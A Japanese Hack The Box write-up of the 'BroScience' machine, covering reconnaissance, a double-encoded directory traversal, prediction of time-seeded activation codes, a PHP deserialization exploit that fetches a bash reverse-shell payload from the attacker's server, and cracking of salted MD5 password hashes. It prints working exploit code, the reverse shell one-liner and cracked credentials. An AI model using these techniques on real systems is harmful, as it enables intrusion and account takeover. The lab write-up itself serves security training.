初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「BroScience」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.195 --top --ulimit 10000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.195:22
Open 10.10.11.195:80
Open 10.10.11.195:443
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2023-01-15 10:21 JST
Initiating Ping Scan at 10:21
Scanning 10.10.11.195 [4 ports]
Completed Ping Scan at 10:21, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:21
Completed Parallel DNS resolution of 1 host. at 10:21, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:21
Scanning 10.10.11.195 [3 ports]
Discovered open port 443/tcp on 10.10.11.195
Discovered open port 22/tcp on 10.10.11.195
Discovered open port 80/tcp on 10.10.11.195
Completed SYN Stealth Scan at 10:21, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.195
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2023-01-15 10:21:05 JST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
ポート22、80、443が公開されてそう。
実際に80にアクセスしてみると、「broscience.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしておく。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.195 broscience.htb
疎通確認を行う。
┌──(root💀kali)-[~]
└─# ping broscience.htb
PING broscience.htb (10.10.11.195) 56(84) bytes of data.
64 bytes from broscience.htb (10.10.11.195): icmp_seq=1 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=2 ttl=63 time=274 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=3 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=4 ttl=63 time=270 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=5 ttl=63 time=271 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=6 ttl=63 time=269 ms
^C
--- broscience.htb ping statistics ---
7 packets transmitted, 6 received, 14.2857% packet loss, time 6017ms
rtt min/avg/max/mdev = 268.602/270.428/274.225/1.911 ms
サイト探索
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。301でリダイレクトされていることがわかったので弾く。
──(root💀kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u https://broscience.htb/ -H "HOST: FUZZ.broscience.htb" -fs 9308,1159 -fc 301 -mc all -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://broscience.htb/
:: Wordlist : FUZZ: ./bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.broscience.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response status: 301
:: Filter : Response size: 9308,1159
________________________________________________
いい結果は出てこない。
ディレクトリ探索
dirsearch
を使用して探索を実施。
┌──(root💀kali)-[~]
└─# dirsearch -u http://broscience.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/broscience.htb/-_23-01-15_10-47-41.txt
Error Log: /root/.dirsearch/logs/errors-23-01-15_10-47-41.log
Target: http://broscience.htb/
[10:47:42] Starting:
[10:48:49] 301 - 362B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> https://broscience.htb/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[10:50:15] 301 - 352B - /engine/classes/swfupload//swfupload_f9.swf -> https://broscience.htb/engine/classes/swfupload/swfupload_f9.swf
[10:50:15] 301 - 349B - /engine/classes/swfupload//swfupload.swf -> https://broscience.htb/engine/classes/swfupload/swfupload.swf
[10:50:17] 301 - 359B - /examples/jsp/%252e%252e/%252e%252e/manager/html/ -> https://broscience.htb/examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:50:18] 301 - 337B - /extjs/resources//charts.swf -> https://broscience.htb/extjs/resources/charts.swf
[10:50:27] 301 - 347B - /html/js/misc/swfupload//swfupload.swf -> https://broscience.htb/html/js/misc/swfupload/swfupload.swf
Task Completed
いいものなし。ffuf
でやってみるか。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://broscience.htb/FUZZ
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 409ms]
includes [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 493ms]
manual [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 282ms]
javascript [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 325ms]
styles [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 337ms]
[Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 1962ms]
:: Progress: [87664/87664] :: Job [1/1] :: 211 req/sec :: Duration: [0:22:31] :: Errors: 1373 ::
いいのがちょこちょこ出てきた。それぞれの階層へアクセスしてみる。
まずは「manual」へ。
続いて「images」
続いて「includes」
面白そうなPHPファイルがいっぱいあるので、とりあえずアクセスしてみる。
そうすると、上記の「img.php」で内部エラーのようなレスポンスが帰ってきた。
path
がないだって!?
それではimagesのそれぞれの画像を?path=
で飛ばしてみる。そうすると200OK
が帰ってくる。
トラバーサルできるのでは???
...トラバーサルを試す前にPHPを使っているサイトという事なので、トップ直下にどういったファイルがあるのかを.php
でファイジングしておく。
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ.php -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://broscience.htb/FUZZ.php
:: Wordlist : FUZZ: ./directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
# directory-list-2.3-small.txt [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 294ms]
# Copyright 2007 James Fisher [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 298ms]
# [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 306ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 316ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 317ms]
# [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 323ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 325ms]
# [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 292ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 291ms]
# on at least 3 different hosts [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 281ms]
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 267ms]
# [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 276ms]
index [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 288ms]
login [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 273ms]
register [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 317ms]
user [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 313ms]
comment [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 271ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 271ms]
activate [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 409ms]
exercise [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 471ms]
[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 442ms]
:: Progress: [87664/87664] :: Job [1/1] :: 155 req/sec :: Duration: [0:09:34] :: Errors: 0 ::
login
ページやregister
ページ、user
ページがあるのは見えていたのだが、activate
のページがあるのは見えていなかった。何かをアクティベーションするのかもしれないので心に留めておく。
Initial Access
ディレクトリトラバーサル
ディレクトリトラバーサル用のリストを以下サイトからダウンロードしてくる。
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Directory%20Traversal/Intruder/directory_traversal.txt
ディレクトリトラバーサル実施。path
に叩き込む。
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory_traversal.txt:FUZZ -u https://broscience.htb/includes/img.php?path=FUZZ -t 100 -fs 0,30
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://broscience.htb/includes/img.php?path=FUZZ
:: Wordlist : FUZZ: ./directory_traversal.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0,30
________________________________________________
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 273ms]
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 274ms]
:: Progress: [140/140] :: Job [1/1] :: 38 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
引っかかったのでディレクトリトラバーサルの脆弱性があることが分かった。
このペイロードはユニコードのHEX値をいじくるURLエンコードを2回しているペイロードで、以下のCyberChefを使用すれば比較的簡単に理解できる。
このペイロードのレスポンスを確認すると、以下のように帰ってくる。
「/etc/passwd」が見えるのでこの部分を「/home/bill/.ssh/id_rsa」の階層で試してみる。
そのために簡易的なURLエンコードスクリプトを作成した。
import sys
def doubleEncode(string):
urlencode_first = ""
urlencode_second = ""
for character in string:
decimal = ord(character)
urlencode_first += "%" + hex(decimal)[2:]
for character in urlencode_first:
decimal = ord(character)
urlencode_second += "%" + hex(decimal)[2:]
return urlencode_second
tra = doubleEncode("../../../../")
file = doubleEncode(sys.argv[1])
print(tra+file)
此奴で試してみる。
ダメだった。Read権限とかないんじゃないかな?
それじゃ、見れそうなファイルを見ていくことにした。/includes/
階層にあった各ファイルを取得していく。
「navbar.php」
「db_connect.php」
Passwordが乗ってたので試してみたが、これではログインできなかった。。。次を見る。
「utils.php」
activate.php
に関しそうなコードが記載されている。もう少し此奴を詳細に分析する必要がありそうだ。
以下に内容を転記する。
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
activation_codeを送信すればアクティベートが出来そう???user-prefs
のクッキーの記述も見られるので、アクティブになれば此奴がついてくるのか?
アクセスしてみる。
ぽい。
srand(time())
の部分をユーザ作成日時に指定すればコードを取得してユーザをアクティべーとできるのではと考える。
とりあえずユーザを作成後、どうやってコードを送ることが出来るのか試してみた。
Activation
まずはURLのクエリ方式。それっぽいのを試してみる。
まずは失敗例。a
クエリ。
続いてactivate_code
クエリ。
続いてcode
クエリ。此奴がクエリで間違いなさそう。ここにactivate_code
を記載すれば行けそう。
activate_code
を作成するために以下のコードを作成した。
<?php <?php
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Sun, 15 Jan 2023 05:22:34 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
echo $activation_code;
?>
srand
の部分をユーザ作成時のResponseの日時に設定した。
実行してみる。
┌──(root💀kali)-[~/work]
└─# php active.php
HQTqDxHtMQO6bmVdlycWf9R1k8aI0lXJ
これを?code=
で飛ばしてみた。
上手くアクティベートできたみたいだ。
クッキーuser-prefs
が作成されているか確認する。
作られている。
さて...ここからどうするか...
Persistence
Exploit検討
とりあえず、user-prefs
がどのように使われるかutils.php
見てみると、Userのライトダークのテーマ選択に使われてそうである。
しかもクッキーを直接シリアライズして読み込んでいるのでここにExploitを打ち込めそうである。
更にutils.php
を読み込んでみると興味深いクラスがあることを確認する。Avator
とAvatarInterface
だ。
これはおそらくだが、ユーザのアバター画像を取ってくるクラスと考えられる。imagepath
を指定して直接取ってきているみたいだ。
....file_get_contents
って..これ遠隔からURL指定で取ってこさせることできるのでは??
ペイロードダウンロードさせることが出来るのでは?
というわけで、Avator
とAvatarInterface
をデシリアライズしてOverwriteします!!
クッキーに叩き込んでね!!
Reverseshell
リバースシェルの構成のために自身のIPを確認しておきます。
※この場合はtun0
┌──(root💀kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.10/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
続いてimagePath
で指定するリバースシェルを作成
<?php exec("bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0<&1'");?>
上記を取ってきてほしいのでサーバを立ち上げておきます。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
user-prefs
に叩き込むExploitを作成するために以下のPHPを作成
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.14.10/payload.php";
public $imgPath = "./payload.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>
上記を実行し、クッキーに叩き込むExploitを作成
┌──(root💀kali)-[~/work]
└─# php exploit.php
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMDoiaHR0cDovLzEwLjEwLjE0LjEwL3BheWxvYWQucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTM6Ii4vcGF5bG9hZC5waHAiO30=
後はリバースシェルを起動させるだけ、待ち受けを起動しておきます。
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444
対象のURL「./payload.php」へアクセスします。
きた!!!でもまだwww-dataの権限のみでUser権限は取れてないです。
Credential Access
PostgreSQL
既に気づいている人もいると思うが、DBのクレデンシャル情報がわかっているので、psql
でアクセスしてみようと思う。
Password Hash
色々とユーザ情報を確認できたので、このPassword情報の復元を試してみようと思う。
MD5なので以下サイトで実施。
え...........
復元できない......
んなああんで...............
John
でも一応確認するが、以下のように一緒である。
┌──(root💀kali)-[~/work]
└─# john -w:rockyou.txt hash.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-01-15 15:21) 0g/s 22066Kp/s 22066Kc/s 110333KC/s fuckyooh21..*7¡Vamos!
Session completed
ここで数時間を要する。
ヒントがないかページのソースコードを漁っていると、login.php
に以下のような記述を発見する。
...
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
...
$db_salt
…これか…db_connect.php
の内部にこれが記述されている。
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
これをパスワードの前に引っ付けてソルトってるわけだ。
ではリストファイルにもNaCl
を引っ付けて再度回してみる。
┌──(root💀kali)-[~/work]
└─# sed 's/^/NaCl/' ./rockyou.txt > salt_rock.txt
┌──(root💀kali)-[~/work]
└─# john -w:salt_rock.txt hash.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
NaCliluvhorsesandgym (bill)
NaClAaronthehottest (dmytro)
NaCl2applesplus2apples (michael)
3g 0:00:00:00 DONE (2023-01-15 16:19) 3.947g/s 18872Kp/s 18872Kc/s 79155KC/s NaCl 08 22 0128..NaCl*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
おっけい、でてきた。
NaCl
を省いたやつでログインしてみる。
ログイン成功!!!ユーザ権限奪取!!!
まとめ
一般ユーザ権限までのWriteUPでした。
ちょっと書くの面倒になってきたのでここで終わろうかなとか思います。
特権昇格はpspy
回してれば見つかると思うので、皆さん試してみて下さい!
見つけるまでが大変で、見つけた後はそのままシェル解析後、ペイロード打ち込むだけでOkです!
今回もセキュリティエンジニアの皆さんの助けになればなと思います。